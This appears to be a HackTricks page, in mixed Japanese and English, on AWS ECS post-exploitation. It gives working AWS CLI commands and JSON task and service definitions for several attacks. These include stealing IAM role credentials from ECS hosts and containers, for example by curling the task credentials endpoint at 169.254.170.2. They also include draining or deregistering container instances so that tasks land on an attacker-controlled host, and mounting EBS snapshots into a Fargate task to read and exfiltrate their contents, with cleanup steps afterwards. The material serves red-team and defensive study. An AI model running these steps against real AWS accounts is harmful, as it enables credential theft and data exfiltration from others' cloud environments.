AWS - ECS Post Exploitation

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

ECSでは、コンテナ内で実行されているタスクに IAM role を割り当てることができるIf そのタスクが EC2 インスタンス上で実行されている場合、EC2 instance には 別の IAM ロールがアタッチされている。
つまり、ECSインスタンスを compromise できれば、ECRおよびEC2インスタンスに関連付けられた IAM role を取得できる可能性がある。認証情報の取得方法の詳細は次を参照:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

さらに、EC2は docker を使って ECS タスクを実行しているため、node に脱出するか docker socket にアクセス できれば、どの other containers が実行されているかを 確認 したり、実際に その中に入り込んで アタッチされている IAM roles を盗む こともできる。

Making containers run in current host

さらに、EC2 instance role は通常クラスター内のノードとして使われている EC2 インスタンスの container instance state を更新するのに十分な permissions を持っている。攻撃者はインスタンスの state を DRAINING に変更 でき、すると ECS はそのインスタンスから すべてのタスクを削除し、REPLICA として実行されているものは 別のインスタンスで実行される(場合によっては攻撃者のインスタンス内で実行され)、それにより攻撃者は それらの IAM roles を盗み、コンテナ内の機密情報を入手できる可能性がある。

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

同じ手法は deregistering the EC2 instance from the cluster によって行えます。これは潜在的にステルス性が低くなりますが、force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

tasksの再実行を強制する最後の手法は、ECS に対して task or container was stopped と示すことです。これを行う可能性のある API が3つあります:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

攻撃者ホストでクラスターに参加する (Register Container Instance)

別のバリエーション(drainingより直接的)は、あなたが管理するキャパシティをクラスターに追加し、EC2インスタンスをcontainer instanceとして登録して (ecs:RegisterContainerInstance)、配置制約が一致するように必要なcontainer instance属性を設定することです。タスクがあなたのホストに配置されると、コンテナを検査/execして AWS_CONTAINER_CREDENTIALS_RELATIVE_URI の資格情報を収集できます。

フルワークフローについては、ECS privesc ページの ecs:RegisterContainerInstance セクションを参照してください。

ECRコンテナから機密情報を盗む

EC2インスタンスは多くの場合、ecr:GetAuthorizationToken の権限も持っており、イメージをダウンロードできます(その中を検索して機密情報を探せます)。

ecs:ExecuteCommand を介してタスクロールの資格情報を盗む

タスクで ExecuteCommand が有効になっている場合、ecs:ExecuteCommandecs:DescribeTasks を持つプリンシパルは実行中のコンテナ内でシェルを開き、タスク資格情報エンドポイントに問い合わせてタスクロールの資格情報を収集できます:

  • コンテナ内部から: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • 返された AccessKeyId/SecretAccessKey/Token を使用して、タスクロールとしてAWS APIを呼び出す

列挙やコマンド例については、ECS privilege escalation ページを参照してください。

ECSタスクにEBSスナップショットを直接マウントする (configuredAtLaunch + volumeConfigurations)

ネイティブのECSとEBSの統合(2024以降)を悪用して、既存のEBSスナップショットの内容を新しいECSタスク/サービス内に直接マウントし、コンテナ内からデータを読み取ることができます。

  • 必要(最小):

  • ecs:RegisterTaskDefinition

  • いずれか: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole の対象:

  • ボリュームに使用されるECSインフラストラクチャロール(ポリシー: service-role/AmazonECSInfrastructureRolePolicyForVolumes

  • タスク定義で参照されるTask execution/Task roles

  • スナップショットがCMKで暗号化されている場合: インフラロールに対するKMS権限(上記のAWSマネージドポリシーにはAWS管理キーに対する必要なKMS付与が含まれています)。

  • 影響: スナップショットから任意のディスク内容(例: データベースファイル)をコンテナ内で読み取り、ネットワークやログ経由で持ち出せる。

手順(Fargateの例):

  1. ECSインフラストラクチャロールを作成(存在しない場合)し、マネージドポリシーをアタッチします:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. configuredAtLaunch とマークされたボリュームを持つ task definition を登録し、コンテナにマウントします。例(secret を出力してから sleep します):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. volumeConfigurations.managedEBSVolume を介して EBS snapshot を渡してサービスを作成または更新する(インフラロールに対して iam:PassRole が必要)。例:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}

タスクが開始されると、container は設定された mount path(例: /loot)で snapshot の内容を読み取ることができます。exfiltrate はタスクの network/logs を経由して行います。

クリーンアップ:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

参考文献

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする